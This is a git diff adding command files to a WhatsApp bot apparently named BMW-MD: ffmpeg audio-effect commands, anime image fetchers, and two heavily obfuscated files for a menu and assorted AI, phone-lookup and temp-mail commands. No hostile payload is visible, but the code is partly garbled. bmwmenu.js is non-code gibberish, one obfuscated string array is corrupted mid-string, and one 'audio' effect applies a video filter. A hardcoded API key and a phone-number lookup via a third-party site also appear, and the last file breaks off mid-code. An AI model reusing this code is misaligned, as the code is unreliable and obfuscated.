+ zk.sendMessage(dest, { audio: buff3, mimetype: "audio/mpeg" }, { quoted: ms });
+ fs.unlinkSync(ran3);
+ });
+ } catch (e) {
+ repondre("Error : " + e);
+ }
+ } else {
+ repondre("The command only works with audio messages");
+ }
+ } else {
+ repondre("Please mention an audio");
+ }
+ }
+ );
+
+ adams(
+ {
+ nomCom: 'slow',
+ categorie: 'Audio-Edit',
+ },
+ async (dest, zk, commandeOptions) => {
+ const { ms, repondre, msgRepondu } = commandeOptions;
+
+ if (msgRepondu) {
+ if (msgRepondu.audioMessage) {
+ const media5 = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage);
+ let set5 = '-filter:a "atempo=0.8,asetrate=44100"';
+ let ran5 = `${filename}.mp3`;
+
+ try {
+ exec(`ffmpeg -i ${media5} ${set5} ${ran5}`, (err, stderr, stdout) => {
+ fs.unlinkSync(media5);
+ if (err) return repondre("error during the procedure" + err);
+
+ let buff5 = fs.readFileSync(ran5);
+
+ zk.sendMessage(dest, { audio: buff5, mimetype: "audio/mpeg" }, { quoted: ms });
+ fs.unlinkSync(ran5);
+ });
+ } catch (e) {
+ repondre("Error : " + e);
+ }
+ } else {
+ repondre("The command only works with audio messages");
+ }
+ } else {
+ repondre("Please mention an audio");
+ }
+ }
+ );
+
+// Cas pour l'effet "smooth"
+adams(
+ {
+ nomCom: 'smooth',
+ categorie: 'Audio-Edit',
+ },
+ async (dest, zk, commandeOptions) => {
+ const { ms, repondre, msgRepondu } = commandeOptions;
+
+ if (msgRepondu) {
+ if (msgRepondu.audioMessage) {
+ const mediaSmooth = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage);
+ let setSmooth = '-filter:v "minterpolate=\'mi_mode=mci:mc_mode=aobmc:vsbmc=1:fps=120\'"';
+ let ranSmooth = `${filename}.mp3`;
+
+ try {
+ exec(`ffmpeg -i ${mediaSmooth} ${setSmooth} ${ranSmooth}`, (err, stderr, stdout) => {
+ fs.unlinkSync(mediaSmooth);
+ if (err) return repondre("error during the procedure" + err);
+
+ let buff6 = fs.readFileSync(ranSmooth);
+
+ zk.sendMessage(dest, { audio: buff6, mimetype: "audio/mpeg" }, { quoted: ms });
+ fs.unlinkSync(ranSmooth);
+ });
+ } catch (e) {
+ repondre("Error : " + e);
+ }
+ } else {
+ repondre("The command only works with audio messages");
+ }
+ } else {
+ repondre("Please mention an audio");
+ }
+ }
+ );
+
+ // Cas pour l'effet "tempo"
+ adams(
+ {
+ nomCom: 'tempo',
+ categorie: 'Audio-Edit',
+ },
+ async (dest, zk, commandeOptions) => {
+ const { ms, repondre, msgRepondu } = commandeOptions;
+
+ if (msgRepondu) {
+ if (msgRepondu.audioMessage) {
+ const mediaTempo = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage);
+ let setTempo = '-filter:a "atempo=0.9,asetrate=65100"';
+ let ranTempo = `${filename}.mp3`;
+
+ try {
+ exec(`ffmpeg -i ${mediaTempo} ${setTempo} ${ranTempo}`, (err, stderr, stdout) => {
+ fs.unlinkSync(mediaTempo);
+ if (err) return repondre("error during the procedure " + err);
+
+ let buff7 = fs.readFileSync(ranTempo);
+
+ zk.sendMessage(dest, { audio: buff7, mimetype: "audio/mpeg" }, { quoted: ms });
+ fs.unlinkSync(ranTempo);
+ });
+ } catch (e) {
+ repondre("Error : " + e);
+ }
+ } else {
+ repondre("The command only works with audio messages");
+ }
+ } else {
+ repondre("Please mention an audio");
+ }
+ }
+ );
+
+ // Cas pour l'effet "nightcore"
+ adams(
+ {
+ nomCom: 'nightcore',
+ categorie: 'Audio-Edit',
+ },
+ async (dest, zk, commandeOptions) => {
+ const { ms, repondre, msgRepondu } = commandeOptions;
+
+ if (msgRepondu) {
+ if (msgRepondu.audioMessage) {
+ const mediaNightcore = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage);
+ let setNightcore = '-filter:a "atempo=1.07,asetrate=44100*1.20"';
+ let ranNightcore = `${filename}.mp3`;
+
+ try {
+ exec(`ffmpeg -i ${mediaNightcore} ${setNightcore} ${ranNightcore}`, (err, stderr, stdout) => {
+ fs.unlinkSync(mediaNightcore);
+ if (err) return repondre("error during the procedure " + err);
+
+ let buff8 = fs.readFileSync(ranNightcore);
+
+ zk.sendMessage(dest, { audio: buff8, mimetype: "audio/mpeg" }, { quoted: ms });
+ fs.unlinkSync(ranNightcore);
+ });
+ } catch (e) {
+ repondre("Erreur : " + e);
+ }
+ } else {
+ repondre("The command only works with audio messages");
+ }
+ } else {
+ repondre("Please mention an audio");
+ }
+ }
+ );
+
diff --git a/scs/bmwjj.js b/scs/bmwjj.js
new file mode 100644
index 0000000..8b13789
--- /dev/null
+++ b/scs/bmwjj.js
@@ -0,0 +1 @@
+
diff --git a/scs/bmwm.js b/scs/bmwm.js
new file mode 100644
index 0000000..c7dd209
--- /dev/null
+++ b/scs/bmwm.js
@@ -0,0 +1,144 @@
+const axios = require('axios');
+const fs = require('fs');
+const { adams } = require("../Ibrahim/adams");
+const { writeFile } = require('fs/promises')
+
+// Commande waifu
+adams({
+ nomCom: "waifu",
+ categorie: "Weeb",
+ reaction: "😏"
+},
+async (origineMessage, zk, commandeOptions) => {
+ const { repondre, ms } = commandeOptions;
+
+ const url = 'https://api.waifu.pics/sfw/waifu'; // Remplacez avec le lien réel de l'API waifu.pics
+
+ try {
+
+ for (let i = 0; i < 5; i++) {
+ const response = await axios.get(url);
+ const imageUrl = response.data.url;
+
+ zk.sendMessage(origineMessage, { image: { url: imageUrl } }, { quoted: ms });
+ }
+ } catch (error) {
+ repondre('Error occurred while retrieving the data. :', error);
+ }
+});
+
+// Commande neko
+adams({
+ nomCom: "neko",
+ categorie: "Weeb",
+ reaction: "😺"
+},
+async (origineMessage, zk, commandeOptions) => {
+ const { repondre, ms } = commandeOptions;
+
+ const url = 'https://api.waifu.pics/sfw/neko'; // Remplacez avec le lien réel de l'API waifu.pics ou une autre API de nekos
+
+ try {
+ for (let i = 0; i < 5; i++) {
+ const response = await axios.get(url);
+ const imageUrl = response.data.url;
+
+ zk.sendMessage(origineMessage, { image: { url: imageUrl } }, { quoted: ms });
+ }
+ } catch (error) {
+ repondre('Error occurred while retrieving the data. :', error);
+ }
+});
+
+// Commande shinobu
+adams({
+ nomCom: "shinobu",
+ categorie: "Weeb",
+ reaction: "🦋"
+},
+async (origineMessage, zk, commandeOptions) => {
+ const { repondre, ms } = commandeOptions;
+
+ const url = 'https://api.waifu.pics/sfw/shinobu'; // Remplacez avec le lien réel de l'API waifu.pics ou une autre API avec des images de Shinobu
+
+ try {
+ for (let i = 0; i < 5; i++) {
+ const response = await axios.get(url);
+ const imageUrl = response.data.url;
+
+ zk.sendMessage(origineMessage, { image: { url: imageUrl } }, { quoted: ms });
+ }
+ } catch (error) {
+ repondre('Error occurred while retrieving the data. :', error);
+ }
+});
+
+// Commande megumin
+adams({
+ nomCom: "megumin",
+ categorie: "Weeb",
+ reaction: "💥"
+},
+async (origineMessage, zk, commandeOptions) => {
+ const { repondre, ms } = commandeOptions;
+
+ const url = 'https://api.waifu.pics/sfw/megumin'; // Remplacez avec le lien réel de l'API waifu.pics ou une autre API avec des images de Megumin
+
+ try {
+ for (let i = 0; i < 5; i++) {
+ const response = await axios.get(url);
+ const imageUrl = response.data.url;
+
+ zk.sendMessage(origineMessage,{ image: { url: imageUrl } }, { quoted: ms });
+ }
+ } catch (error) {
+ repondre('Error occurred while retrieving the data. :', error);
+ }
+});
+
+
+
+adams({
+ nomCom: "cosplay",
+ categorie: "Weeb",
+ reaction: "😏"
+},
+async (origineMessage, zk, commandeOptions) => {
+ const { repondre, ms } = commandeOptions;
+
+
+
+ try {
+ for (let i = 0; i < 5; i++) {
+ let url = 'https://fantox-cosplay-api.onrender.com/'
+
+ const response = await axios.get(url, { responseType: 'arraybuffer' })
+
+
+
+ const image = response.data;
+
+ await writeFile('./cosplay.jpg', image)
+ zk.sendMessage(origineMessage,{image : {url : `./cosplay.jpg`}},{quoted :ms}) }
+
+ } catch (e) {
+ repondre("je reçois malheureusement une erreur : " + e);
+ }
+});
+
+
+adams({nomCom:"couplepp",categorie: "Weeb",reaction : "💞"},async(dest,zk,commandeOptions)=>{ const {repondre , ms} = commandeOptions;
+ let api = 'https://smiling-hosiery-bear.cyclic.app/weeb/couplepp'
+ try {
+ repondre('she/he dont love you :)')
+ const result = await axios.get(api)
+
+
+ zk.sendMessage(dest, { image: { url: result.data.male }, caption: `For Man` }, { quoted: ms })
+ zk.sendMessage(dest, { image: { url: result.data.female }, caption: `_For woman_` }, { quoted: ms })
+
+ } catch (e) { repondre(e)}
+
+}
+ )
+
diff --git a/scs/bmwmenu.js b/scs/bmwmenu.js
new file mode 100644
index 0000000..4fa5bc3
--- /dev/null
+++ b/scs/bmwmenu.js
@@ -0,0 +1,11 @@
+Const = {menu}
+Const = {commands}
+const = {mp3song}
+const = {wachannel}
+
+('Remote git from ibrahim.mgtyu')
+
+{'Full copy from remote git menu'}
+
+export text message, audio, link, url
+
diff --git a/scs/bmwmn.js b/scs/bmwmn.js
new file mode 100644
index 0000000..280ebd4
--- /dev/null
+++ b/scs/bmwmn.js
@@ -0,0 +1,2 @@
+
+const _0x204925=_0x431c;function _0x479c(){const _0x33f28f=['log','/../Ibrahim/mesfonctions','8hENAxz','\x20minute,\x20','*╭────❒*\x20*','platform','7ufbTlX','/../config','\x20\x0a╰─────═━┈┈━═──━┈⊷\x20\x0a\x0a\x0a🌍\x20𝐁𝐄𝐒𝐓\x20𝐖𝐇𝐀𝐓𝐒𝐀𝐏𝐏\x20𝐁𝐎𝐓\x20🌍\x0a\x0a','*\x20*❒*','Devibraah/BWM-XMD','push','Good\x20morning','https://api.github.com/repos/','\x0a*╰─═════════════❒*\x20\x0a','Error\x20fetchi.x3+.=require(_0x204925(0x1d2)),{adams}=require(__dirname+_0x204925(0x1c8)),{format}=require(__dirname+_0x204925(0x1b6)),os=require('os'),moment=require('moment-timezone'),s=require(__dirname+_0x204925(0x1bc)),more=String[_0x204925(0x1e6)](0x200e),readmore=more[_0x204925(0x1b3)](0xfa1),runtime=function(_0x5c873b){const _0x7e0c38=_0x204925;_0x5c873b=Number(_0x5c873b);var _0x37865b=Math[_0x7e0c38(0x1a9)](_0x5c873b/(0xe10*0x18)),_0x542d8f=Math['floor'](_0x5c873b%(0xe10*0x18)/0xe10),_0x3f3322=Math[_0x7e0c38(0x1a9)](_0x5c873b%0xe10/0x3c),_0xc08185=Math[_0x7e0c38(0x1a9)](_0x5c873b%0x3c),_0x454d2b=_0x37865b>0x0?_0x37865b+(_0x37865b==0x1?_0x7e0c38(0x1d8):'\x20d,\x20'):'',_0x38541f=_0x542d8f>0x0?_0x542d8f+(_0x542d8f==0x1?_0x7e0c38(0x1dd):_0x7e0c38(0x1d0)):'',_0x2959e9=_0x3f3322>0x0?_0x3f3322+(_0x3f3322==0x1?_0x7e0c38(0x1b8):_0x7e0c38(0x1b0)):'',_0x4124f1=_0xc08185>0x0?_0xc08185+(_0xc08185==0x1?_0x7e0c38(0x1aa):'\x20s'):'';return _0x454d2b+_0x38541f+_0x2959e9+_0x4124f1;},fetchGitHubStats=async()=>{const _0x1cd392=_0x204925;try{const _0x545401=_0x1cd392(0x1bf),_0x1d7c16=await axios[_0x1cd392(0x1d7)](_0x1cd392(0x1c2)+_0x545401),_0x4db1c9=_0x1d7c16['data'][_0x1cd392(0x1b4)],_0x8a6aba=_0x1d7c16[_0x1cd392(0x1cf)]['stargazers_count'],_0x3dc700=_0x4db1c9*0x2+_0x8a6aba*0x2;return{'forks':_0x4db1c9,'stars':_0x8a6aba,'totalUsers':_0x3dc700};}catch(_0x5070fd){return console[_0x1cd392(0x1d1)](_0x1cd392(0x1c4),_0x5070fd),{'forks':0x0,'stars':0x0,'totalUsers':0x0};}};adams({'nomCom':_0x204925(0x1d5),'categorie':_0x204925(0x1a2)},async(_0x559c4c,_0x19862f,_0x2ba745)=>{const _0x3619f4=_0x204925;let {ms:_0x231765,repondre:_0x38b4ef,prefixe:_0x5f4e86,nomAuteurMessage:_0x23a934}=_0x2ba745,{cm:_0x296117}=require(__dirname+'/../Ibrahim/adams');var _0x121c37={},_0x5663a5=_0x3619f4(0x1da);s[_0x3619f4(0x1ae)][_0x3619f4(0x1de)]()!=_0x3619f4(0x1da)&&(_0x5663a5='Private');_0x296117[_0x3619f4(0x1a4)](async(_0x4719d8,_0x3ba757)=>{const _0x1cbd87=_0x3619f4,_0x5470b0=_0x4719d8[_0x1cbd87(0x1dc)][_0x1cbd87(0x1a5)]();if(!_0x121c37[_0x5470b0])_0x121c37[_0x5470b0]=[];_0x121c37[_0x5470b0][_0x1cbd87(0x1c0)](_0x4719d8[_0x1cbd87(0x1db)]);}),moment['tz'][_0x3619f4(0x1a7)]('${s.TZ}');const _0x2c6d9f=moment()['format'](_0x3619f4(0x1cc)),_0x3743c2=moment()[_0x3619f4(0x1ac)](_0x3619f4(0x1e0)),_0x3d89e4=moment()[_0x3619f4(0x1d3)]();let _0x59d721='Good\x20night';if(_0x3d89e4>=0x0&&_0x3d89e4<=0xb)_0x59d721=_0x3619f4(0x1c1);else{if(_0x3d89e4>=0xc&&_0x3d89e4<=0x10)_0x59d721=_0x3619f4(0x1df);else{if(_0x3d89e4>=0x10&&_0x3d89e4<=0x15)_0x59d721=_0x3619f4(0x1af);else _0x3d89e4>=0x15&&_0x3d89e4<=0x17&&(_0x59d721='Good\x20night');}}const {totalUsers:_0x3eb0cc}=await fetchGitHubStats(),_0x120157=_0x3eb0cc[_0x3619f4(0x1a6)]();let _0x496f1c=_0x3619f4(0x1c6)+_0x5663a5+_0x3619f4(0x1d6)+_0x5f4e86+_0x3619f4(0x1e2)+os[_0x3619f4(0x1ba)]()+_0x3619f4(0x1d9)+_0x3743c2+'*\x0a┇\x20ᴛɪᴍᴇ:\x20*'+_0x2c6d9f+_0x3619f4(0x1c9)+format(os[_0x3619f4(0x1cb)]()-os[_0x3619f4(0x1d4)]())+'/'+format(os['totalmem']())+_0x3619f4(0x1bd),_0x2451f1=readmore+'\x20\x20\x0a╭─────═━┈┈━═──━┈⊷\x0a┇\x20ʙᴍᴡ\x20ᴍᴅ\x20ᴄᴏᴍᴍᴀɴᴅ\x20ʟɪsᴛ\x0a╰─────═━┈┈━═──━┈⊷\x0a\x0a';const _0x2457a9=Object[_0x3619f4(0x1e4)](_0x121c37)[_0x3619f4(0x1ad)]();for(const _0x5597e9 in _0x121c37){_0x2451f1+=_0x3619f4(0x1b9)+_0x5597e9+_0x3619f4(0x1be);for(const _0x54126e of _0x121c37[_0x5597e9]){_0x2451f1+=_0x3619f4(0x1c5)+_0x54126e;}_0x2451f1+=_0x3619f4(0x1c3);}_0x2451f1+='\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a©𝑰𝒃𝒓𝒂𝒉𝒊𝒎\x20𝑨𝒅𝒂𝒎𝒔\x20𝑷𝒓𝒐𝒋𝒆𝒄𝒕\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x0a▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄\x20\x0a';try{await _0x19862f[_0x3619f4(0x1e1)](_0x559c4c,{'text':_0x496f1c+_0x2451f1,'contextInfo':{'mentionedJid':[_0x23a934],'externalAdReply':{'title':'','body':_0x3619f4(0x1b2),'thumbnailUrl':_0x3619f4(0x1e5),'sourceUrl':'https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y','mediaType':0x1,'rendersmallThumbnail':!![]}}});}catch(_0x1961ff){console[_0x3619f4(0x1b5)](_0x3619f4(0x1b1)+_0x1961ff),_0x38b4ef(_0x3619f4(0x1b1)+_0x1961ff);}});
diff --git a/scs/bmwmor.js b/scs/bmwmor.js
new file mode 100644
index 0000000..f45a873
--- /dev/null
+++ b/scs/bmwmor.js
@@ -0,0 +1 @@
+const _0x39bcb0=_0x1307;function _0x3460(){const _0x5855b7=['Erreur:','desc','urls','https://api.maher-zubair.tech/ai/mathssolve?q=','https://opentdb.com/api.php?amount=1&type=multiple','Mobile','author','message','male','501jUOWyb','General','Invalid\x20response\x20format\x20from\x20the\x20GPT\x20API.','textBody','calc','ilama','https://tajammalmods.xyz/Validater.php?num=','Error\x20fetching\x20joke:','https://api.maher-zubair.tech/details/population','Error\x20getting\x20response:','https://widipe.com/gemini?text=','https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y','axios','No\x20response\x20received\x20from\x20Bard.\x20Please\x20try\x20again\x20later.','time_zones','7335QBsoLw','https://www.1secmail.com/api/v1/?action=getMessages&login=','images','Invalid\x20response\x20format\x20from\x20the\x20trivia\x20API.','*Here\x20is\x20an\x20advice\x20for\x20you:*\x20\x0a','truth','You\x20have\x20received\x20a\x20new\x20email!\x0a\x0aFrom:\x20','Your\x20temporary\x20email\x20is:\x20','trim','join','Une\x20erreur\x20s\x27est\x20produite','>\x20*POWERED\x20BY\x20BMW-MD*','🗞️','Interacting\x20with\x20Bard...\x20Please\x20wait\x20a\x20moment.','create','floor','@1secmail.com','Body','14145tbDrNJ','international_format','timeZone','Invalid\x20response\x20from\x20the\x20trivia\x20API.\x20Status\x20code:\x20','data','calculate','\x0a-\x20*Deaths\x20Today:*\x20','dall','\x0a*International\x20Format:*\x20','2804740XFgzLV','\x0a\x0a*Powered\x20by\x20©\x20Ibrahim\x20Adams*','insult','\x0a\x0a>\x20*POWERED\x20BY\x20BMW-MD*','advice','https://api.unsplash.com/photos/random?client_id=72utkjatCBC-PDcx7-Kcvgod7-QOFAm2fXwEeW8b8cc','NEWS','msg','Please\x20insert\x20math\x20calculations\x20like\x20100000+2024.\x0a\x0aNOTE:\x20Use\x20\x22(/)\x22\x20for\x20division\x20and\x20\x22(*)\x22\x20for\x20multiplication\x20or\x20letter\x20x','subject','Error\x20fetching\x20NASA\x20news:','Error\x20getting\x20GPT\x20response:','📋\x20COPY\x20YOUR\x20CODE','Header','Footer','14ntFYjs','https://api.maher-zubair.tech/details/ios','The\x20correct\x20answer\x20is:\x20','\x0a*Line\x20Type:*\x20','get','There\x20was\x20an\x20error\x20fetching\x20the\x20news.\x20Please\x20try\x20again\x20later.','unshift','*Powered\x20by\x20BMW-MD*','stringify','status','match','News','*\x20Stats:\x0a\x0a*Date\x20&\x20Time:*\x20','json','No\x20population\x20data\x20found.','url','*POWERED\x20BY\x20FLASH-MD*','total','completion','../Ibrahim/traduction','3296029bSlXeC','title','result','Hello\x20🖐️\x0a\x0a\x20What\x20help\x20can\x20I\x20offer\x20you\x20today?','6350BBryJC','location','&domain=1secmail.com','https://api.guruapi.tech/ai/gpt4?username=','bestwal','https://shizoapi.onrender.com/api/texts/truth?apikey=shizo','BMW\x20PHOTOS','regular','inspire','https://api.popcat.xyz/joke','\x0aSubject:\x20','\x0a*TimeZone:*\x20','bard','>\x20*POWERED\x20BY\x20FLASH-MD*','User','incorrect_answers','content','technews','FOLLOW\x20CHANNEL','question','deaths','applenews','609203nTDPta','No\x20additional\x20data','this_year','length','Error\x20getting\x20response\x20from\x20GPT.','link','Error\x20fetching\x20tech\x20news:','lines','correct_answer','joke','https://api.maher-zubair.tech/maker/enhance?','current','Network\x20response\x20was\x20not\x20ok.','dalle','Error\x20generating\x20temporary\x20email:','https://api.gurusensei.workers.dev/llama?prompt=','nasanews','https://samirxpikachuio.onrender.com/gpt?content=','*WORLDWIDE\x20POPULATION\x20DATA:*\x0a\x0a\x0a-\x20*Total\x20Population:*\x20','../Ibrahim/adams','from','\x0a\x0aI\x20will\x20send\x20the\x20correct\x20answer\x20in\x2010\x20seconds...','InteractiveMessage','enhance','\x0a\x0a\x0a>\x20Powered\x20by\x20*©France\x20King*','births','slip','\x22\x20-\x20','checknum','Live\x20Time\x20in\x20*','The\x20phone\x20number\x20is\x20invalid!','Please\x20provide\x20a\x20query\x20for\x20Bard.\x20Example:\x20`bard\x20What\x20is\x20the\x20capital\x20of\x20France?`','toString','best','Enter\x20the\x20name\x20of\x20the\x20country\x20you\x20want\x20to\x20know\x20its\x20time\x20and\x20date','Error\x20getting\x20trivia:','*POWERED\x20BY\x20BMW-MD*','1194AfEyMZ','No\x20news\x20data\x20found.','https://type.fit/api/quotes','\x0a*Country:*\x20','https://images.macrumors.com/images-new/1x1.trans.gif','Error:','dal','cal','NativeFlowMessage','🗨️','\x0a*National\x20Format:*\x20','Here\x27s\x20a\x20trivia\x20question\x20for\x20you:\x20\x0a\x0a','Invalid\x20response\x20from\x20the\x20API.','copy_code','Error\x20getting\x20trivia.\x20Please\x20try\x20again\x20later.','substring','No\x20links\x20found\x20in\x20the\x20email\x20content.','\x0a\x0a-\x20*Description:*\x20','\x0a*BMW-MD\x20NASA\x20NEWS:*\x0a\x0a\x0a-\x20*Title:*\x20','1675448VAdqew','map','key','Please\x20enter\x20the\x20necessary\x20information\x20to\x20generate\x20the\x20image.','Hello\x20🖐️.\x0a\x0a\x20What\x20help\x20can\x20I\x20offer\x20you\x20today?','results','https://api.maher-zubair.tech/misc/insult','error','https://api.maher-zubair.tech/misc/lines','Fun','Message','https://shizoapi.onrender.com/api/texts/dare?apikey=shizo','cta_url','That\x20country\x20name\x20is\x20incorrect!','\x0a\x0aYou\x20can\x20use\x20this\x20email\x20for\x20temporary\x20purposes.\x20I\x20will\x20notify\x20you\x20if\x20you\x20receive\x20any\x20emails.','\x0a\x0a\x0a>\x20*Powered\x20by\x20©FLASH-MD*','Error\x20generating\x20temporary\x20email.\x20Please\x20try\x20again\x20later.','*Enhanced\x20by\x20BMW-MD*','...\x0a-\x20*Read\x20More:*\x20','Oops,\x20an\x20error\x20occurred\x20while\x20processing\x20your\x20request','Error\x20checking\x20temporary\x20email:','gemini','https://api.maher-zubair.tech/details/nasa','random','\x0a\x0a-\x20*Date:*\x20','Please\x20enter\x20the\x20Url\x20of\x20the\x20image\x20you\x20want\x20to\x20enhance!','validate','name','cta_copy','explanation','dare','numinfo','\x0a*BMW-MD\x20APPLE\x20NEWS:*\x0a\x0a\x0a-\x20*Title:*\x20','https://api.adviceslip.com/advice','7466kQyZUg','\x0a-\x20*Deaths\x20This\x20Year:*\x20','temp','trivia','split','number','response','time','find','relayMessage','\x0a\x0aLinks\x20found:\x0a','sendMessage','log','population','https://widipe.com/dalle?text=','Error\x20getting\x20response.','Phone\x20Number\x20Validation:\x0a\x0a*Carrier:*\x20'];_0x3460=function(){return _0x5855b7;};return _0x3460();}(function(_0x316317,_0x2e1a22){const _0x44b69b=_0x1307,_0x54d3d6=_0x316317();while(!![]){try{const _0x4169e6=-parseInt(_0x44b69b(0x1af))/0x1+-parseInt(_0x44b69b(0x209))/0x2*(-parseInt(_0x44b69b(0x148))/0x3)+parseInt(_0x44b69b(0x172))/0x4+parseInt(_0x44b69b(0x169))/0x5*(-parseInt(_0x44b69b(0x1d4))/0x6)+parseInt(_0x44b69b(0x181))/0x7*(parseInt(_0x44b69b(0x1e7))/0x8)+-parseInt(_0x44b69b(0x157))/0x9*(parseInt(_0x44b69b(0x199))/0xa)+parseInt(_0x44b69b(0x195))/0xb;if(_0x4169e6===_0x2e1a22)break;else _0x54d3d6['push'](_0x54d3d6['shift']());}catch(_0x46b7e7){_0x54d3d6['push'](_0x54d3d6['shift']());}}}(_0x3460,0x56476));const {adams}=require(_0x39bcb0(0x1c2)),traduire=require(_0x39bcb0(0x194)),{default:axios}=require(_0x39bcb0(0x154)),pkg=require('@whiskeysockets/baileys'),{generateWAMessageFromContent,proto}=pkg;function _0x1307(_0x376a87,_0x49ed23){const _0x34605d=_0x3460();return _0x1307=function(_0x130799,_0x358378){_0x130799=_0x130799-0x13a;let _0x4dbbd7=_0x34605d[_0x130799];return _0x4dbbd7;},_0x1307(_0x376a87,_0x49ed23);}adams({'nomCom':_0x39bcb0(0x14d),'reaction':'🤗','categorie':'AI'},async(_0x482126,_0x4261f9,_0x520f1f)=>{const _0x4111a1=_0x39bcb0,{repondre:_0x3b36ea,arg:_0x5f4b18,ms:_0x4a9309}=_0x520f1f;try{if(!_0x5f4b18||_0x5f4b18[_0x4111a1(0x1b2)]===0x0)return _0x3b36ea(_0x4111a1(0x1eb));const _0x422ad4=_0x5f4b18[_0x4111a1(0x160)]('\x20'),_0x222a2c=await fetch(_0x4111a1(0x1be)+_0x422ad4),_0x5edf69=await _0x222a2c[_0x4111a1(0x18e)]();if(_0x5edf69&&_0x5edf69[_0x4111a1(0x20f)]&&_0x5edf69['response'][_0x4111a1(0x20f)]){const _0x481e50=_0x5edf69[_0x4111a1(0x20f)][_0x4111a1(0x20f)],_0xfec9b8=_0x481e50[_0x4111a1(0x18b)](/```([\s\S]*?)```/),_0x4ebb08=[{'name':_0x4111a1(0x1f3),'buttonParamsJson':JSON[_0x4111a1(0x189)]({'display_text':_0x4111a1(0x1ab),'url':'https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y'})}];if(_0xfec9b8){const _0x8fdd83=_0xfec9b8[0x1];_0x4ebb08[_0x4111a1(0x187)]({'name':'cta_copy','buttonParamsJson':JSON[_0x4111a1(0x189)]({'display_text':_0x4111a1(0x17e),'id':'copy_code','copy_code':_0x8fdd83})});const _0x37bed5=generateWAMessageFromContent(_0x482126,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x4111a1(0x1f1)]['InteractiveMessage'][_0x4111a1(0x165)]({'body':proto[_0x4111a1(0x1f1)]['InteractiveMessage'][_0x4111a1(0x168)]['create']({'text':_0x481e50}),'footer':proto[_0x4111a1(0x1f1)][_0x4111a1(0x1c5)]['Footer']['create']({'text':'>\x20*BMM\x20MD*'}),'header':proto[_0x4111a1(0x1f1)][_0x4111a1(0x1c5)][_0x4111a1(0x17f)][_0x4111a1(0x165)]({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x4111a1(0x1f1)]['InteractiveMessage']['NativeFlowMessage']['create']({'buttons':_0x4ebb08})})}}},{});await _0x4261f9[_0x4111a1(0x212)](_0x482126,_0x37bed5['message'],{'messageId':_0x37bed5['key']['id']});}else{const _0x1d547c=generateWAMessageFromContent(_0x482126,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto['Message'][_0x4111a1(0x1c5)][_0x4111a1(0x165)]({'body':proto[_0x4111a1(0x1f1)][_0x4111a1(0x1c5)][_0x4111a1(0x168)][_0x4111a1(0x165)]({'text':_0x481e50}),'footer':proto[_0x4111a1(0x1f1)][_0x4111a1(0x1c5)][_0x4111a1(0x180)][_0x4111a1(0x165)]({'text':'>\x20*BMW-MD*'}),'header':proto[_0x4111a1(0x1f1)][_0x4111a1(0x1c5)][_0x4111a1(0x17f)]['create']({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x4111a1(0x1f1)]['InteractiveMessage']['NativeFlowMessage'][_0x4111a1(0x165)]({'buttons':_0x4ebb08})})}}},{});await _0x4261f9['relayMessage'](_0x482126,_0x1d547c['message'],{'messageId':_0x1d547c['key']['id']});}}else throw new Error(_0x4111a1(0x1e0));}catch(_0x3648cb){console[_0x4111a1(0x1ee)](_0x4111a1(0x151),_0x3648cb[_0x4111a1(0x146)]),_0x3b36ea(_0x4111a1(0x13d));}}),adams({'nomCom':_0x39bcb0(0x20e),'aliases':[_0x39bcb0(0x1cb),_0x39bcb0(0x201),_0x39bcb0(0x206),'valid'],'reaction':'📞','categorie':'General'},async(_0x468f76,_0x3e5454,_0xe3eef1)=>{const _0x254543=_0x39bcb0,{repondre:_0x64b5dd,arg:_0x27424a,ms:_0x5921d0}=_0xe3eef1;try{if(!_0x27424a||_0x27424a[_0x254543(0x1b2)]===0x0)return _0x64b5dd('Please\x20enter\x20a\x20phone\x20number\x20to\x20validate.');const _0x223695=_0x27424a[_0x254543(0x160)]('\x20'),_0x5ade05=await fetch(_0x254543(0x14e)+_0x223695),_0x3e01c1=await _0x5ade05[_0x254543(0x18e)]();if(_0x3e01c1['valid']){const _0x2107de=_0x3e01c1['carrier'],_0x24c891=_0x3e01c1['country'],_0x15b687=_0x3e01c1[_0x254543(0x16a)],_0x30042d=_0x3e01c1['national_format'],_0x3e09fe=_0x3e01c1['line_type']===0x1?_0x254543(0x144):'Landline',_0x36e8d8=_0x3e01c1[_0x254543(0x19a)],_0x26e26f=_0x3e01c1[_0x254543(0x156)][0x0];await _0x64b5dd(_0x254543(0x13e)+_0x2107de+_0x254543(0x1d7)+_0x24c891+_0x254543(0x171)+_0x15b687+_0x254543(0x1de)+_0x30042d+_0x254543(0x184)+_0x3e09fe+'\x0a*Location:*\x20'+_0x36e8d8+'\x0a*Time\x20Zone:*\x20'+_0x26e26f+'\x0a\x0a>\x20*POWERED\x20BY\x20FLASH-MD*');}else await _0x64b5dd(_0x254543(0x1cd));}catch(_0x46db7a){_0x64b5dd('There\x20was\x20an\x20error\x20processing\x20your\x20request.\x20Please\x20try\x20again\x20later.');}}),adams({'nomCom':_0x39bcb0(0x1aa),'reaction':'📰','categorie':_0x39bcb0(0x18c)},async(_0x3cfecb,_0x21ced1,_0x18ae68)=>{const _0x5dfd57=_0x39bcb0,{repondre:_0x3b6542,ms:_0x135ec4}=_0x18ae68;try{const _0x1d5f50=await 